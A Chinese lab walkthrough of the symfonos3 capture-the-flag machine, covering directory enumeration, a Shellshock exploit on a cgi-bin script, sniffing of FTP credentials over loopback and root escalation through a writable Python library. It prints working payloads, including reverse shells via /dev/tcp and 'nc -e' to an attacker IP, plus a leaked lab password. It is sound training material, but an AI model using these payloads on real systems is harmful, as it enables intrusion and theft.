尧图网络 高端网站定制 · 原创设计
免费咨询热线
400-888-6620
免费获取方案
从目录枚举到bash破壳漏洞、从流量抓包到组权限提权:靶机练习之symfonos3
信息搜集nmap -sT --min-rate 10000 192.168.8.8 -p-ftp/ssh/web80,经典 的三个端口nmap -sT -sC -sV -O 192.168.8.8 -p21,22,80 -o portsftp的这个版本似乎是有文件复制的漏洞web渗透gobuster扫描先扫了一波敏感文件只出了一个gate目录gobuster dir -u http://192.168.8.8/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,bak,php进一步目录扫描仍然只出了一个目录gobuster dir -u http://192.168.8.8/gate/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,bak,phpdirsearch递归扫描因为目录一层一层的出来这边考虑尝试直接用递归扫描dirsearch -u http://192.168.8.8/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e txt,bak,php -r --deep-recursive结果一样仍然只有一个目录dirb扫描换个工具再试一下呢dirb http://192.168.8.8有不同的结果,扫出了cgi-bin,字典中其实都是包含的这是为什么呢┌───────────┬──────────────────────────┬─────────────────────────┐ │ 工具 │ 目录测试方式 │ 能发现 ScriptAlias 目录 │ ├───────────┼──────────────────────────┼─────────────────────────┤ │ dirb │ 自动补 / 测试 │ 能 │ ├───────────┼──────────────────────────┼─────────────────────────┤ │ gobuster │ 不补 /依赖服务端 301 │ 不能 │ ├───────────┼──────────────────────────┼─────────────────────────┤ │ dirsearch │ 不补 /默认依赖 301 │ 不能 │简单用curl测试一下。不带/就会404了确实是这个原因目前得到了一个403的目录dirb继续扫了一下发现没有结果这边转头就换了gobuster,因为它配置大字典扫的更快,gobuster dir -u http://192.168.8.8/cgi-bin/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,bak,php果然有隐藏目录打开发现似乎是一个脚本执行了uptime的命令可以查看时间和服务器状态kali本机中也有相应的程序nikto扫描走到这一步仍然没有特别明晰的思路于是尝试让nikto做一个web扫描nikto -h http://192.168.8.8/cgi-bin/underworld爆了一个cve的漏洞是shellshockbash破壳漏洞() { :; }; echo; /usr/bin/idburp抓包发送payload成功命令执行反弹shellUser-Agent: () { :; }; echo; /bin/bash -c bash -i /dev/tcp/192.168.8.11/4444 01linpeas提权靶机敏感信息因为没有找到太多有用的信息这边先用linpeas提权一下关键信息发现靶机有抓包工具tcpdump流量包抓取分析因为ftp是明文传输而靶机上面正好也有tcpdump抓包的环境所以这边进行抓包分析对外的网卡是ens33tcpdump -i ens33 -w ftp.pcap -c 10000 #这边可以指定数据包数量防止需要中断抓包导致反弹shell断联ens33网卡数据包没有关于ftp的数据ftp可能是内部lo网卡通信tcp.port 21tcpdump -i lo -w ftp.pcap泄露了密码账号密码hades/PTpZTfU4vxgzvRBE成功登录hades 的ftp提权凭证复用这边直接尝试用刚才的凭证登录ssh,也是直接成功登录因为抓包的时候发现ftp一直在内部通信所以尝试先找一下这个程序运行的位置find / -name ftp* 2/dev/null找到这个ftp,应该是定期做服务的状态监测它导入了一个ftplib的组权限提权执行id命令的时候发现hades有gods的组权限查找有1002组权限的文件、文件夹find / -name ftp -group 1002 -type f 2/dev/nullfind / -group 1002 -type d 2/dev/null发现1002拥有整个python2.7库的组权限这时候再查找一下ftplib的权限ls -liah ftplib*确实是有gods的组权限那就简单了直接再fptlib.py尾部追加payloadimport os os.system(nc -e /bin/bash 192.168.8.11 4444)同步开启反弹shell接收等待片刻成功提权小结一下靶机的难度是中级到hard之间打下来感觉还是有难度的。从一开始的目录枚举就有很多坑要踩不同的目录扫描工具扫描策略其实是有侧重的dirb会对目录和文件双重扫描gobuster扫的更快等等然后就是nikto针对web指纹的扫描还是比较好用的也是识别到了bash破壳漏洞linpeas作为linux后渗透工具也是经常会用到这个算是常规思路tcpdump流量包抓取ftp流量也是要mark的因为ftp它是明文传输只要能抓包就能拿到账号密码最后的组权限提权也是一个非常经典的案例通过在组权限的python库文件注入payload拿到root
RELATED

相关推荐

Transformer位置编码原理与实战技巧

Transformer位置编码原理与实战技巧

1. 位置编码:自然语言处理的隐形坐标系统第一次接触Transformer模型时,最让我困惑的就是这个看似简单的概念——位置编码(Positional Encoding)。为什么要把一堆正弦余弦函数塞进词向量里?直到亲手实现了一个简易的Tra…

📅 2026/11/7 2:50:20
C++一维数组核心原理与实战:从内存模型到算法实现

C++一维数组核心原理与实战:从内存模型到算法实现

1. 项目概述:为什么一维数组是C的基石 如果你刚开始接触C,或者已经学完了变量、循环和函数,正准备向更复杂的数据结构迈进,那么“一维数组”绝对是你绕不开的第一座山。很多人觉得数组不就是一堆相同类型变量的集合吗,…

📅 2026/10/3 2:53:01
AI如何通过NLP技术重塑学术论文写作全流程

AI如何通过NLP技术重塑学术论文写作全流程

1. 项目概述:AI如何重塑课程论文写作体验作为一名在高等教育领域深耕多年的研究者,我见证了无数学生在课程论文写作中挣扎的过程。从选题迷茫到文献梳理,从结构搭建到格式规范,每个环节都可能成为学术道路上的绊脚石。"书匠策…

📅 2026/9/22 8:05:43
MORE NEWS

更多资讯

📰

茂名哪里学电工证怎么考,别被中介骗了,这些避坑指南快收藏

茂名哪里学电工证怎么考,别被中介骗了,这些避坑指南快收藏 你是不是也这样,听说要考电工证,但不知道 茂名哪里学电工证 ,一打听就一大堆培训机构,价格五花八门,还说包过、包挂靠,结果一上当就亏大了?别急,今天就带你搞清楚, 在哪考…

📰

茂名哪里学电工证多久拿证?证书过期了不知道怎么复审延期怎么办?

茂名哪里学电工证多久拿证?证书过期了不知道怎么复审延期怎么办? 证书过期了不知道怎么复审延期?你不是一个人,这是很多在茂名从事电工作业的朋友都遇到过的难题。特别是现在工程项目对持证上岗的要求越来越严格,一旦证书失效,不仅影响日常工作,还可能…

📰

电工证就业前景怎么样?学历不高怕报不上名?良心建议来了

电工证就业前景怎么样?学历不高怕报不上名?良心建议来了 你是不是也在担心, 学历不高怕报不上名 ?别急,今天就从一个从业多年的老电工角度,来聊聊电工证到底值不值得考,尤其是 电工证就业前景怎么样…

📰

大英县电工证考试2026河南最新政策怎么考?外省证怎么转?

大英县电工证考试2026河南最新政策怎么考?外省证怎么转? 之前考的证在外省能不能转过来?这是很多电工朋友问得最多的问题。2026年河南最新政策明确指出,全国范围内特种作业操作证已实现 跨省互认 ,也就是说,你在别省考的电工证,只要在…

📰

上海那考电工证怎么转异地?工地太忙根本没时间复习考试

上海那考电工证怎么转异地?工地太忙根本没时间复习考试 工地太忙根本没时间复习考试,这几乎是每个一线施工人员的心声。尤其是电工证,作为特种作业操作证的一种,全国通用,一旦在外地工作,证书的有效性、使用范围、年审方式就成了大家关注的焦点。对于在…

📰

合肥电工证怎么不发了通过率揭秘

合肥电工证怎么不发了通过率揭秘 实操考试心里没底怕挂科,这事儿你不是一个人在战斗。最近不少在合肥准备报考电工证的小伙伴都遇到了“合肥电工证怎么不发了”这个问题,不仅耽误了工作,还搞得心情一团糟。其实,这背后有很多你不知道的细节,今天就带你一…

TODAY

今日更新

THIS WEEK

本周精选

THIS MONTH

本月热门

读完文章,想聊聊您的网站?

告诉我们您的行业与需求,资深顾问一对一梳理方案与报价,全程免费。

📞 💬